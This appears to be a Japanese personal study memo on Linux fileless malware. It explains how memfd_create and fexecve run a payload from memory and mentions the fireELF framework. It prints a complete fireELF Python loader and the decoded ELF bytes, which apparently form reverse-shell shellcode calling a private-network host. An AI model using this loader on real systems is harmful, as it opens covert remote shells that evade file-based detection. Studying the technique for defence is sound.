Linuxファイルレスマルウェア手法の調査
ファイルレスマルウェアについて興味を持っていて,軽く調査したのでメモとして残します.
どのようにしてファイルレスにするか
Linuxにはmemfd_createというRAM上に無名ファイル(anonymous file)という一時的なファイルを作成し,そのファイルを参照するファイルディスクリプタを返すシステムコールがある.マルウェアはこのシステムコールを利用してメモリ上にファイルを作り,そのファイルにペイロードを流し込み,そしてfexecveというファイルディスクリプターで指定されたプログラムを実行する関数で実行させるという仕組みだそうです.
fireELF
fireELFとはファイルレスマルウェアを作成することができるフレームワークです.
YoutubeにfireELFを使ってリバースシェルのペイロードをファイルレスにする動画がありました.
この動画の通りに進めていって,最終的にfireELFで出来上がったペイロードが↓
import ctypes, os, urllib2, base64; libc = ctypes.CDLL(None); argv = ctypes.pointer((ctypes.c_char_p * 0)(*[])); syscall = libc.syscall; fexecve = libc.fexecve; content = base64.b64decode("f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgAVs8CoOHJRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g=="); fd = syscall(319, "", 1); os.write(fd, content); fexecve(fd, argv, argv):
contentをデコードすると↓
b'\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00>\x00\x01\x00\x00\x00x\x00@\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x008\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\xfa\x00\x00\x00\x00\x00\x00\x00|\x01\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00H1\xffj\tX\x99\xb6\x10H\x89\xd6M1\xc9j"AZ\xb2\x07\x0f\x05H\x85\xc0xQj\nAYPj)X\x99j\x02_j\x01^\x0f\x05H\x85\xc0x;H\x97H\xb9\x02\x00\x15\xb3\xc0\xa88rQH\x89\xe6j\x10Zj*X\x0f\x05YH\x85\xc0y%I\xff\xc9t\x18Wj#Xj\x00j\x05H\x89\xe7H1\xf6\x0f\x05YY_H\x85\xc0y\xc7j<Xj\x01_\x0f\x05^j~Z\x0f\x05H\x85\xc0x\xed\xff\xe6'
おそらくELFのコードなのかなと思います.
疑問
anonymous fileって正規の使い方だとどういう時に使うんだ??